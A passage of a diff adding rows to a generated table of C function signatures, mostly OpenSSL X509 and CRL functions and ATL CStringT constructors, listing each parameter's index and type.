X509_ALGOR * | +| (const X509_ALGOR *,unsigned char **) | | i2d_X509_ALGOR | 1 | unsigned char ** | +| (const X509_ALGORS *,unsigned char **) | | i2d_X509_ALGORS | 0 | const X509_ALGORS * | +| (const X509_ALGORS *,unsigned char **) | | i2d_X509_ALGORS | 1 | unsigned char ** | +| (const X509_ATTRIBUTE *) | | X509_ATTRIBUTE_count | 0 | const X509_ATTRIBUTE * | +| (const X509_ATTRIBUTE *) | | X509_ATTRIBUTE_dup | 0 | const X509_ATTRIBUTE * | +| (const X509_ATTRIBUTE *,unsigned char **) | | i2d_X509_ATTRIBUTE | 0 | const X509_ATTRIBUTE * | +| (const X509_ATTRIBUTE *,unsigned char **) | | i2d_X509_ATTRIBUTE | 1 | unsigned char ** | +| (const X509_CERT_AUX *,unsigned char **) | | i2d_X509_CERT_AUX | 0 | const X509_CERT_AUX * | +| (const X509_CERT_AUX *,unsigned char **) | | i2d_X509_CERT_AUX | 1 | unsigned char ** | +| (const X509_CINF *,unsigned char **) | | i2d_X509_CINF | 0 | const X509_CINF * | +| (const X509_CINF *,unsigned char **) | | i2d_X509_CINF | 1 | unsigned char ** | +| (const X509_CRL *) | | OSSL_CMP_ITAV_new_crls | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_dup | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get0_extensions | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get0_lastUpdate | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get0_nextUpdate | 0 | const X509_CRL * | +| (const X509_CRL *) | | X509_CRL_get_issuer | 0 | const X509_CRL * | +| (const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_CRL_get0_signature | 0 | const X509_CRL * | +| (const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_CRL_get0_signature | 1 | const ASN1_BIT_STRING ** | +| (const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_CRL_get0_signature | 2 | const X509_ALGOR ** | +| (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 0 | const X509_CRL * | +| (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | int | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 0 | const X509_CRL * | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 1 | const EVP_MD * | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 2 | unsigned char * | +| (const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_CRL_digest | 3 | unsigned int * | +| (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 0 | const X509_CRL * | +| (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 1 | const X509 * | +| (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | int | +| (const X509_CRL *,const X509_CRL *) | | X509_CRL_cmp | 0 | const X509_CRL * | +| (const X509_CRL *,const X509_CRL *) | | X509_CRL_cmp | 1 | const X509_CRL * | +| (const X509_CRL *,int) | | X509_CRL_get_ext | 0 | const X509_CRL * | +| (const X509_CRL *,int) | | X509_CRL_get_ext | 1 | int | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 0 | const X509_CRL * | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 1 | int | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 2 | int * | +| (const X509_CRL *,int,int *,int *) | | X509_CRL_get_ext_d2i | 3 | int * | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 0 | const X509_CRL * | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 1 | int | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | int | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 0 | const X509_CRL * | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 1 | int | +| (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | int | +| (const X509_CRL *,unsigned char **) | | i2d_X509_CRL | 0 | const X509_CRL * | +| (const X509_CRL *,unsigned char **) | | i2d_X509_CRL | 1 | unsigned char ** | +| (const X509_CRL_INFO *,unsigned char **) | | i2d_X509_CRL_INFO | 0 | const X509_CRL_INFO * | +| (const X509_CRL_INFO *,unsigned char **) | | i2d_X509_CRL_INFO | 1 | unsigned char ** | +| (const X509_EXTENSION *) | | X509_EXTENSION_dup | 0 | const X509_EXTENSION * | +| (const X509_EXTENSION *,unsigned char **) | | i2d_X509_EXTENSION | 0 | const X509_EXTENSION * | +| (const X509_EXTENSION *,unsigned char **) | | i2d_X509_EXTENSION | 1 | unsigned char ** | +| (const X509_EXTENSIONS *,unsigned char **) | | i2d_X509_EXTENSIONS | 0 | const X509_EXTENSIONS * | +| (const X509_EXTENSIONS *,unsigned char **) | | i2d_X509_EXTENSIONS | 1 | unsigned char ** | +| (const X509_LOOKUP *) | | X509_LOOKUP_get_method_data | 0 | const X509_LOOKUP * | +| (const X509_LOOKUP *) | | X509_LOOKUP_get_store | 0 | const X509_LOOKUP * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_ctrl | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_free | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_alias | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_fingerprint | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_issuer_serial | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_get_by_subject | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_init | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_new_item | 0 | const X509_LOOKUP_METHOD * | +| (const X509_LOOKUP_METHOD *) | | X509_LOOKUP_meth_get_shutdown | 0 | const X509_LOOKUP_METHOD * | +| (const X509_NAME *) | | X509_NAME_dup | 0 | const X509_NAME * | +| (const X509_NAME *) | | X509_NAME_entry_count | 0 | const X509_NAME * | +| (const X509_NAME *) | | X509_NAME_hash_old | 0 | const X509_NAME * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 0 | const X509_NAME * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 1 | OSSL_LIB_CTX * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 2 | const char * | +| (const X509_NAME *,OSSL_LIB_CTX *,const char *,int *) | | X509_NAME_hash_ex | 3 | int * | +| (const X509_NAME *,char *,int) | | X509_NAME_oneline | 0 | const X509_NAME * | +| (const X509_NAME *,char *,int) | | X509_NAME_oneline | 1 | char * | +| (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | int | +| (const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTID_gen | 0 | const X509_NAME * | +| (const X509_NAME *,const ASN1_INTEGER *) | | OSSL_CRMF_CERTID_gen | 1 | const ASN1_INTEGER * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 0 | const X509_NAME * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 2 | char * | +| (const X509_NAME *,const ASN1_OBJECT *,char *,int) | | X509_NAME_get_text_by_OBJ | 3 | int | +| (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 0 | const X509_NAME * | +| (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | int | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 0 | const X509_NAME * | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 1 | const EVP_MD * | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 2 | unsigned char * | +| (const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_NAME_digest | 3 | unsigned int * | +| (const X509_NAME *,const X509_NAME *) | | X509_NAME_cmp | 0 | const X509_NAME * | +| (const X509_NAME *,const X509_NAME *) | | X509_NAME_cmp | 1 | const X509_NAME * | +| (const X509_NAME *,const char **) | | OCSP_url_svcloc_new | 0 | const X509_NAME * | +| (const X509_NAME *,const char **) | | OCSP_url_svcloc_new | 1 | const char ** | +| (const X509_NAME *,const unsigned char **,size_t *) | | X509_NAME_get0_der | 0 | const X509_NAME * | +| (const X509_NAME *,const unsigned char **,size_t *) | | X509_NAME_get0_der | 1 | const unsigned char ** | +| (const X509_NAME *,const unsigned char **,size_t *) | | X509_NAME_get0_der | 2 | size_t * | +| (const X509_NAME *,int) | | X509_NAME_get_entry | 0 | const X509_NAME * | +| (const X509_NAME *,int) | | X509_NAME_get_entry | 1 | int | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 0 | const X509_NAME * | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 1 | int | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 2 | char * | +| (const X509_NAME *,int,char *,int) | | X509_NAME_get_text_by_NID | 3 | int | +| (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 0 | const X509_NAME * | +| (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 1 | int | +| (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | int | +| (const X509_NAME *,unsigned char **) | | i2d_X509_NAME | 0 | const X509_NAME * | +| (const X509_NAME *,unsigned char **) | | i2d_X509_NAME | 1 | unsigned char ** | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_dup | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_get_data | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_get_object | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *) | | X509_NAME_ENTRY_set | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *,unsigned char **) | | i2d_X509_NAME_ENTRY | 0 | const X509_NAME_ENTRY * | +| (const X509_NAME_ENTRY *,unsigned char **) | | i2d_X509_NAME_ENTRY | 1 | unsigned char ** | +| (const X509_OBJECT *) | | X509_OBJECT_get0_X509 | 0 | const X509_OBJECT * | +| (const X509_OBJECT *) | | X509_OBJECT_get0_X509_CRL | 0 | const X509_OBJECT * | +| (const X509_OBJECT *) | | X509_OBJECT_get_type | 0 | const X509_OBJECT * | +| (const X509_POLICY_CACHE *,const ASN1_OBJECT *) | | ossl_policy_cache_find_data | 0 | const X509_POLICY_CACHE * | +| (const X509_POLICY_CACHE *,const ASN1_OBJECT *) | | ossl_policy_cache_find_data | 1 | const ASN1_OBJECT * | +| (const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_level_find_node | 0 | const X509_POLICY_LEVEL * | +| (const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_level_find_node | 1 | const X509_POLICY_NODE * | +| (const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *) | | ossl_policy_level_find_node | 2 | const ASN1_OBJECT * | +| (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 0 | const X509_POLICY_LEVEL * | +| (const X509_POLICY_LEVEL *,int) | | X509_policy_level_get0_node | 1 | int | +| (const X509_POLICY_NODE *) | | X509_policy_node_get0_parent | 0 | const X509_POLICY_NODE * | +| (const X509_POLICY_NODE *) | | X509_policy_node_get0_policy | 0 | const X509_POLICY_NODE * | +| (const X509_POLICY_NODE *) | | X509_policy_node_get0_qualifiers | 0 | const X509_POLICY_NODE * | +| (const X509_POLICY_TREE *) | | X509_policy_tree_get0_policies | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *) | | X509_policy_tree_get0_user_policies | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *) | | X509_policy_tree_level_count | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 0 | const X509_POLICY_TREE * | +| (const X509_POLICY_TREE *,int) | | X509_policy_tree_get0_level | 1 | int | +| (const X509_PUBKEY *) | | X509_PUBKEY_dup | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *) | | X509_PUBKEY_get | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *) | | X509_PUBKEY_get0 | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *,unsigned char **) | | i2d_X509_PUBKEY | 0 | const X509_PUBKEY * | +| (const X509_PUBKEY *,unsigned char **) | | i2d_X509_PUBKEY | 1 | unsigned char ** | +| (const X509_PURPOSE *) | | X509_PURPOSE_get0_name | 0 | const X509_PURPOSE * | +| (const X509_PURPOSE *) | | X509_PURPOSE_get0_sname | 0 | const X509_PURPOSE * | +| (const X509_PURPOSE *) | | X509_PURPOSE_get_id | 0 | const X509_PURPOSE * | +| (const X509_PURPOSE *) | | X509_PURPOSE_get_trust | 0 | const X509_PURPOSE * | +| (const X509_REQ *) | | X509_REQ_dup | 0 | const X509_REQ * | +| (const X509_REQ *) | | X509_REQ_get_subject_name | 0 | const X509_REQ * | +| (const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_REQ_get0_signature | 0 | const X509_REQ * | +| (const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_REQ_get0_signature | 1 | const ASN1_BIT_STRING ** | +| (const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **) | | X509_REQ_get0_signature | 2 | const X509_ALGOR ** | +| (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 0 | const X509_REQ * | +| (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | int | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 0 | const X509_REQ * | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 1 | const EVP_MD * | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 2 | unsigned char * | +| (const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *) | | X509_REQ_digest | 3 | unsigned int * | +| (const X509_REQ *,int) | | X509_REQ_get_attr | 0 | const X509_REQ * | +| (const X509_REQ *,int) | | X509_REQ_get_attr | 1 | int | +| (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 0 | const X509_REQ * | +| (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 1 | int | +| (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | int | +| (const X509_REQ *,unsigned char **) | | i2d_X509_REQ | 0 | const X509_REQ * | +| (const X509_REQ *,unsigned char **) | | i2d_X509_REQ | 1 | unsigned char ** | +| (const X509_REQ_INFO *,unsigned char **) | | i2d_X509_REQ_INFO | 0 | const X509_REQ_INFO * | +| (const X509_REQ_INFO *,unsigned char **) | | i2d_X509_REQ_INFO | 1 | unsigned char ** | +| (const X509_REVOKED *) | | X509_REVOKED_dup | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get0_extensions | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get0_revocationDate | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get0_serialNumber | 0 | const X509_REVOKED * | +| (const X509_REVOKED *) | | X509_REVOKED_get_ext_count | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 1 | const ASN1_OBJECT * | +| (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | int | +| (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int) | | X509_REVOKED_get_ext | 1 | int | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 1 | int | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 2 | int * | +| (const X509_REVOKED *,int,int *,int *) | | X509_REVOKED_get_ext_d2i | 3 | int * | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 1 | int | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | int | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 1 | int | +| (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | int | +| (const X509_REVOKED *,unsigned char **) | | i2d_X509_REVOKED | 0 | const X509_REVOKED * | +| (const X509_REVOKED *,unsigned char **) | | i2d_X509_REVOKED | 1 | unsigned char ** | +| (const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **) | | X509_SIG_get0 | 0 | const X509_SIG * | +| (const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **) | | X509_SIG_get0 | 1 | const X509_ALGOR ** | +| (const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **) | | X509_SIG_get0 | 2 | const ASN1_OCTET_STRING ** | +| (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 0 | const X509_SIG * | +| (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | const char * | +| (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | int | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 0 | const X509_SIG * | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 1 | const char * | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 2 | int | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 3 | OSSL_LIB_CTX * | +| (const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *) | | PKCS8_decrypt_ex | 4 | const char * | +| (const X509_SIG *,unsigned char **) | | i2d_X509_SIG | 0 | const X509_SIG * | +| (const X509_SIG *,unsigned char **) | | i2d_X509_SIG | 1 | unsigned char ** | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 0 | const X509_SIG_INFO * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 1 | int * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 2 | int * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 3 | int * | +| (const X509_SIG_INFO *,int *,int *,int *,uint32_t *) | | X509_SIG_INFO_get | 4 | uint32_t * | +| (const X509_STORE *) | | X509_STORE_get0_objects | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get0_param | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_cert_crl | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_check_crl | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_check_issued | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_check_policy | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_check_revocation | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_cleanup | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_get_crl | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_get_issuer | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_lookup_certs | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_lookup_crls | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_verify | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_verify_cb | 0 | const X509_STORE * | +| (const X509_STORE *,int) | | X509_STORE_get_ex_data | 0 | const X509_STORE * | +| (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | int | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_cert | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_chain | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_current_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_current_issuer | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_param | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_parent_ctx | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_policy_tree | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_rpk | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_store | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_untrusted | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get1_chain | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_cert_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_issued | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_policy | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_revocation | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_cleanup | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_current_cert | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_error | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_error_depth | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_explicit_policy | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_get_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_get_issuer | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_lookup_certs | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_lookup_crls | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_num_untrusted | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_verify | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_verify_cb | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | int | +| (const X509_TRUST *) | | X509_TRUST_get0_name | 0 | const X509_TRUST * | +| (const X509_TRUST *) | | X509_TRUST_get_flags | 0 | const X509_TRUST * | +| (const X509_TRUST *) | | X509_TRUST_get_trust | 0 | const X509_TRUST * | +| (const X509_VAL *,unsigned char **) | | i2d_X509_VAL | 0 | const X509_VAL * | +| (const X509_VAL *,unsigned char **) | | i2d_X509_VAL | 1 | unsigned char ** | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get0_name | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get0_peername | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_auth_level | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_depth | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_flags | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_hostflags | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_inh_flags | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_purpose | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_time | 0 | const X509_VERIFY_PARAM * | | (const XCHAR *) | CStringT | CStringT | 0 | const XCHAR * | | (const XCHAR *,int) | CStringT | CStringT | 0 | const XCHAR * | | (const XCHAR *,int) | CStringT | CStringT | 1 | int | @@ -773,28 +24526,1225 @@ getSignatureParameterName | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 | const XCHAR * | | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 | int | | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 2 | IAtlStringMgr * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 0 | const XTS128_CONTEXT * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 1 | const unsigned char[16] | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 2 | const unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 3 | unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 4 | size_t | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 5 | int | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 0 | const XTS128_CONTEXT * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 1 | const unsigned char[16] | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 2 | const unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 3 | unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 4 | size_t | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 5 | int | | (const YCHAR *) | CStringT | CStringT | 0 | const YCHAR * | | (const YCHAR *,int) | CStringT | CStringT | 0 | const YCHAR * | | (const YCHAR *,int) | CStringT | CStringT | 1 | int | | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 0 | const YCHAR * | | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 1 | int | | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 2 | IAtlStringMgr * | +| (const char *) | | BIO_gethostbyname | 0 | const char * | +| (const char *) | | Jim_StrDup | 0 | const char * | +| (const char *) | | OPENSSL_LH_strhash | 0 | const char * | +| (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | const char 